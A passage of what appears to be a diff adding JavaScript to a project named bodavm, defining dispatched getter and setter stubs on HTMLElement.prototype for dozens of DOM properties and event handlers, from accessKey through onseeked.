bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_get", arguments); + }, + set: function accessKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "draggable", { + configurable: true, + enumerable: true, + get: function draggable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_get", arguments); + }, + set: function draggable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "spellcheck", { + configurable: true, + enumerable: true, + get: function spellcheck() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_get", arguments); + }, + set: function spellcheck() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "autocapitalize", { + configurable: true, + enumerable: true, + get: function autocapitalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_get", arguments); + }, + set: function autocapitalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "contentEditable", { + configurable: true, + enumerable: true, + get: function contentEditable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_get", arguments); + }, + set: function contentEditable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "enterKeyHint", { + configurable: true, + enumerable: true, + get: function enterKeyHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_get", arguments); + }, + set: function enterKeyHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "isContentEditable", { + configurable: true, + enumerable: true, + get: function isContentEditable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "isContentEditable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "inputMode", { + configurable: true, + enumerable: true, + get: function inputMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_get", arguments); + }, + set: function inputMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "virtualKeyboardPolicy", { + configurable: true, + enumerable: true, + get: function virtualKeyboardPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_get", arguments); + }, + set: function virtualKeyboardPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetParent", { + configurable: true, + enumerable: true, + get: function offsetParent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetParent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetTop", { + configurable: true, + enumerable: true, + get: function offsetTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetLeft", { + configurable: true, + enumerable: true, + get: function offsetLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetWidth", { + configurable: true, + enumerable: true, + get: function offsetWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetHeight", { + configurable: true, + enumerable: true, + get: function offsetHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "innerText", { + configurable: true, + enumerable: true, + get: function innerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_get", arguments); + }, + set: function innerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "outerText", { + configurable: true, + enumerable: true, + get: function outerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_get", arguments); + }, + set: function outerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, 